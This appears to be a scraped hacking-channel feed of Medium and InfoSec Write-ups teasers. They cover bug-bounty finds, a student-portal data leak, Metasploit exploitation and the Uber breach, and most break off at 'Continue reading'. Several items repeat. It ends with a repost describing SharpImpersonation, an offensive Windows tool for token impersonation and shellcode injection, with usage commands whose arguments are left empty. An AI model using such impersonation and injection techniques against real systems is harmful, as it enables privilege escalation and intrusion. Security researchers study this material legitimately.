Abusing Broken Link In Fitbit (Google Acquisition)To Collect BugBounty Reports On Behalf Of Google !

I usually track acquisitions of websites for which I am hunting bugs regularly…Continue reading on InfoSec Write-ups »
Read more...

Information Gathering:

gathering different kinds of information about the target.Continue reading on Medium »
Read more...

How I Hacked my College’s student portal

Hey guys, I am back again with another writeup about how I found a seviour bug in my college’s student portal which leads to a data leak…Continue reading on InfoSec Write-ups »
Read more...

Hacking on Medium
Blockchain can be hacked — The 51% Attack

https://cdn-images-1.medium.com/max/805/1*4ZT18HLdtuEbZZYmbmoILA.png
Before we understand about 51% attack, let’s understand some important terms.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Exploiting A Vulnerable Machine Using Metasploit

https://cdn-images-1.medium.com/max/1345/1*ps_2HR_O48ZE4vrSmddO5g.png
Step 1: Scanning

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Uber got Hacked!

https://cdn-images-1.medium.com/max/602/1*2Q4pVUjX2FcE89bH37znSw.png
“…responding to a cybersecurity incident.”

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Abusing Broken Link In Fitbit (Google Acquisition)To Collect BugBounty Reports On Behalf Of Google !

https://cdn-images-1.medium.com/max/1080/1*tUqAslO-ZR2-EW8cCesRIQ.png
I usually track acquisitions of websites for which I am hunting bugs regularly…

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What Is a SOC?

https://cdn-images-1.medium.com/max/1000/0*mQXLMtgoNjDO-zsS.jpg
Version 2.0

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Awesome Web Security

https://cdn-images-1.medium.com/max/898/1*dZ51yaP6oRez_TSgUPbcqQ.png
🐶 Curated list of Web Security materials and resources.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

How I Hacked my College’s student portal
https://infosecwriteups.com/how-i-hacked-my-colleges-student-portal-f51775d75a3d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey guys, I am back again with another writeup about how I found a seviour bug in my college’s student portal which leads to a data leak…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-i-hacked-my-colleges-student-portal-f51775d75a3d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
SharpImpersonation : A User Impersonation Tool – Via Token Or Shellcode Injection

SharpImpersonation is a User Impersonation Tool – Via Token Or Shellcode Injection. This was a learning by doing project from my side. Well known techniques are used to built just another impersonation tool with some improvements in comparison to other public tools. The code base was taken from:

* https://github.com/0xbadjuju/Tokenvator

A blog post for the intruduction can be found here:

* https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

List user processes
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJyz6KZjw5gUqilJYsCPckmCjwbctvNimJGn2YqUKZu5v01Ky4M0T_GrNc8xNPUTQnT04s0SBnnfQQEvQZyyLgtBWe10MNcAjuT_xw_YWnsasuTok5nd93E1ilG4oOLycG4PEVT1kynp9CPMYzuhAsbclByhYohxLZHL6s43eI788lZ77kktHbrRce/s720/v.png
List only elevated processes

PS > PS C:\temp> SharpImpersonation.exe list elevated

Impersonate the first process of the target user to start a new binary

PS > PS C:\temp> SharpImpersonation.exe user: binary:

Inject base64 encoded shellcode into the first process of the target user

PS > PS C:\temp> SharpImpersonation.exe user: shellcode:

Inject shellcode loaded from a webserver into the first process of the target user

PS > PS C:\temp> SharpImpersonation.exe user: shellcode:

Impersonate the target user via ImpersonateLoggedOnuser for the current session

PS > PS C:\temp> SharpImpersonation.exe user: technique:ImpersonateLoggedOnuser
Download

___________________________
@hacking_Attack
@Hacking_Video